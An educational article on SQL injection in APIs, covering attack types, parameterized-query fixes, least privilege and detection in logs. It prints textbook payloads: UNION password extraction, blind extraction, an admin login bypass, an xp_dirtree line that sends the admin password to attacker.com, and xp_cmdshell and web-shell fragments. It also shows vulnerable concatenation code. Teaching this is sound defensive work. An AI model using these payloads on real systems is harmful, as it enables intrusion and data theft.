API Security SQL Injection

SQL Injection is one of the oldest and most destructive vulnerabilities in web applications. Despite being well understood and entirely preventable, it continues to appear in real systems every year. Through APIs, SQL injection can be even more dangerous because attackers can automate attacks at scale without triggering standard web application defenses.

What Is SQL Injection

SQL injection happens when an attacker inserts SQL code into an input field, and the server incorporates that code directly into a database query without proper handling. The database then executes the attacker's SQL as if it were legitimate code.

Think of a library catalog system. Normally you type a book title, and the system searches for that title. SQL injection is like writing a note inside the search box that says "...and while you are at it, print the entire staff salary spreadsheet." If the system follows your note literally, it has been SQL-injected.

How a SQL Injection Attack Works

Scenario: An e-commerce API that looks up products by category.

Normal intended behavior:
  Client request: GET /api/products?category=shoes
  
  Server builds SQL query:
  SELECT * FROM products WHERE category = 'shoes'
  
  Database returns: All products in the shoes category.

Attacker's malicious input:
  Client request: GET /api/products?category=shoes' OR '1'='1

  Server builds SQL query:
  SELECT * FROM products WHERE category = 'shoes' OR '1'='1'

  The added condition '1'='1' is always true.
  Database returns: EVERY product in the entire database.
  
  The attacker just bypassed the category filter completely.

Types of SQL Injection

Type 1: In-Band SQL Injection (Classic)

The attacker receives results directly in the API response. This is the most straightforward type.

Error-Based In-Band:
  Attacker sends input that causes a deliberate SQL error.
  The error message reveals database structure.

  Input: shoes'
  SQL:   SELECT * FROM products WHERE category = 'shoes''
  Error: "You have an error in your SQL syntax near 'shoes'"
         "Table 'store_db.products' doesn't exist"
  
  Attacker learns: database name is "store_db", table is "products".

Union-Based In-Band:
  Attacker appends a UNION SELECT to retrieve data from other tables.

  Input: shoes' UNION SELECT username, password, NULL FROM users--
  SQL:   SELECT name, price, description FROM products
         WHERE category = 'shoes'
         UNION SELECT username, password, NULL FROM users--
  
  The API response now includes product data AND username+password
  data from the users table mixed together in the same response.

Type 2: Blind SQL Injection

The server does not return database errors or extra data in the response. The attacker infers information based on how the application behaves differently for true vs false SQL conditions.

Boolean-Based Blind:
  GET /api/users/101?verify=true
  True condition input:
    101 AND 1=1    → Returns user profile (query worked)
  False condition input:
    101 AND 1=2    → Returns empty response (query found nothing)
  
  By crafting questions as SQL conditions that are true or false,
  the attacker extracts the entire database one bit at a time.
  
  Example question: "Is the first character of the admin password 'A'?"
  Input: 101 AND SUBSTRING((SELECT password FROM users WHERE role='admin'),1,1)='A'
  → If response returns data: first char is 'A'
  → If response is empty: first char is not 'A'
  → Repeat for each character. Automated tools do this in minutes.

Time-Based Blind:
  Attacker uses SQL time delay functions to extract information.
  If the condition is true, the database waits several seconds.
  If false, the response is immediate.
  
  MySQL example:
    101 AND IF(1=1, SLEEP(5), 0)
  → Response delays 5 seconds = condition is true
    101 AND IF(1=2, SLEEP(5), 0)
  → Immediate response = condition is false

Type 3: Out-of-Band SQL Injection

Used when in-band and blind techniques are too slow or not reliable. The attacker uses the database server to send data to an external server they control.

Out-of-Band (DNS exfiltration — SQL Server example):
  Attacker injects:
  '; EXEC master..xp_dirtree '//attacker.com/stolen_data/'+
  (SELECT password FROM users WHERE username='admin')--

  SQL Server makes a DNS lookup to:
  attacker.com/stolen_data/<admin_password>
  
  Attacker watches DNS logs and reads the exfiltrated data.

What an Attacker Can Do with SQL Injection

Damage Scale:

Level 1 – Data Theft:
  Read any table: SELECT * FROM users, credit_cards, orders
  Extract passwords, credit cards, personal data
  Target: Sensitive data

Level 2 – Authentication Bypass:
  Login bypass without valid credentials:
  Username: admin'--
  Password: anything
  
  SQL: SELECT * FROM users WHERE username='admin'--' AND password='anything'
  The -- comments out the password check. Login succeeds as admin.

Level 3 – Data Modification:
  UPDATE users SET password='hacked' WHERE username='admin'
  DELETE FROM orders WHERE 1=1   ← Deletes all orders
  INSERT INTO users VALUES ('hacker', 'admin', 'hashed_pass')

Level 4 – Server Compromise:
  On misconfigured databases with privileged accounts:
  EXEC xp_cmdshell 'whoami'          → Execute OS commands
  INTO OUTFILE '/var/www/shell.php'  → Write web shell to server
  → Full server takeover

The Real Fix: Parameterized Queries

Parameterized queries (also called prepared statements) completely prevent SQL injection. Instead of building SQL strings by concatenating user input, parameterized queries treat user input as data — never as executable SQL code.

Vulnerable Code (string concatenation — never do this):

JavaScript (Node.js):
  const category = req.query.category;
  const sql = "SELECT * FROM products WHERE category = '" + category + "'";
  db.query(sql);

Python:
  sql = "SELECT * FROM products WHERE category = '" + category + "'"
  cursor.execute(sql)

PHP:
  $sql = "SELECT * FROM products WHERE category = '" . $category . "'";
  $db->query($sql);

If category = "shoes' OR '1'='1", the SQL becomes malicious.

───────────────────────────────────────────────────────────

Parameterized Query (safe — always do this):

JavaScript (Node.js with mysql2):
  const sql = "SELECT * FROM products WHERE category = ?";
  db.query(sql, [category]);

Python:
  sql = "SELECT * FROM products WHERE category = %s"
  cursor.execute(sql, (category,))

PHP (PDO):
  $stmt = $db->prepare("SELECT * FROM products WHERE category = ?");
  $stmt->execute([$category]);

Java (JDBC):
  PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM products WHERE category = ?");
  stmt.setString(1, category);
  stmt.executeQuery();

How it works:
  The SQL structure is sent to the database engine first.
  The user input is sent separately as a data value.
  The database never interprets the input as SQL code.
  Even if input contains SQL keywords, they are treated as literal text.

ORMs and SQL Injection

Object-Relational Mappers (ORMs) like Hibernate (Java), SQLAlchemy (Python), Sequelize (Node.js), and ActiveRecord (Ruby) typically use parameterized queries internally, providing automatic SQL injection protection when used correctly.

ORM (Safe) Example — Sequelize:
  User.findAll({ where: { category: category } });
  → Generates parameterized query internally. Safe.

ORM (Dangerous) Raw Query — Sequelize:
  sequelize.query("SELECT * FROM products WHERE category = '" + category + "'");
  → Raw query with string concatenation. Still vulnerable!

Key rule: ORMs protect you only when you use their ORM methods.
Using raw query functionality with string concatenation bypasses all protection.

Stored Procedures and SQL Injection

Common misconception: Stored procedures prevent SQL injection.
Reality: Stored procedures are only safe if they use parameters internally.

Safe stored procedure (parameterized internally):
  CREATE PROCEDURE GetProducts @category VARCHAR(50)
  AS
  SELECT * FROM products WHERE category = @category

  Call: EXEC GetProducts @category = user_input
  → Safe. @category is treated as data.

Unsafe stored procedure (dynamic SQL inside):
  CREATE PROCEDURE GetProducts @category VARCHAR(50)
  AS
  EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')

  → Still vulnerable! The dynamic SQL concatenation is inside the procedure.

Defense in Depth for SQL Injection

Layer 1: Parameterized queries (PRIMARY defense)
  Use everywhere. No exceptions. Non-negotiable.

Layer 2: Input validation (SECONDARY defense)
  Even with parameterized queries, validate inputs for type and range.
  An integer field should only accept integers.
  A category field should only accept known category values.

Layer 3: Least privilege database accounts
  The API should connect to the database as a user with only
  the permissions needed for its function.
  
  Instead of: GRANT ALL PRIVILEGES ON *.* TO 'api_user'
  Use:        GRANT SELECT, INSERT ON store_db.products TO 'api_user'
              GRANT SELECT ON store_db.orders TO 'api_user'
  
  If SQL injection occurs, attacker can only do what the DB user can do.
  Read-only DB account = cannot DELETE or DROP even with injection.

Layer 4: Web Application Firewall (WAF)
  Detect and block common SQL injection patterns at the network level.
  WAF is a supplementary control, NOT a primary defense.
  Determined attackers bypass WAFs with encoding tricks.

Layer 5: Error handling
  Never return raw database error messages to clients.
  Log detailed errors server-side for debugging.
  Return generic errors to clients: "An error occurred."

Layer 6: Regular scanning
  Use tools like SQLMap (in authorized testing) to scan your own APIs.
  Run DAST (Dynamic Application Security Testing) in CI/CD pipelines.

Detecting SQL Injection Attempts in Logs

Patterns that indicate SQL injection attempts in API access logs:

Presence of SQL keywords in parameters:
  UNION, SELECT, INSERT, UPDATE, DELETE, DROP, OR, AND, WHERE
  
Single quotes and comment sequences:
  '  ''  --  /*  */  ;
  
URL-encoded SQL characters:
  %27 (single quote)  %3B (semicolon)  %2D%2D (--)

Automated tool signatures:
  SQLMap User-Agent strings in headers
  Rapid sequential requests with incrementing injection payloads
  
Example log entry showing attack:
  [2025-03-15 10:42:33] GET /api/products?category=shoes'+UNION+SELECT+username,password+FROM+users--
  IP: 198.51.100.42
  Status: 400

Key Points

  • SQL injection happens when user input is concatenated directly into SQL queries, allowing attackers to modify the query's logic.
  • Parameterized queries are the complete, definitive fix. They make SQL injection structurally impossible by separating code from data.
  • There are three types: in-band (direct results), blind (inferred from behavior), and out-of-band (data sent to attacker's server).
  • Attackers can bypass authentication, extract entire databases, modify or delete data, and even execute OS commands through SQL injection.
  • ORMs protect against SQL injection only when using ORM methods — raw query functions with string concatenation remain vulnerable.
  • Least-privilege database accounts limit the damage even if injection occurs.
  • Never display raw database errors to users. Log them server-side and return generic messages to clients.

Leave a Comment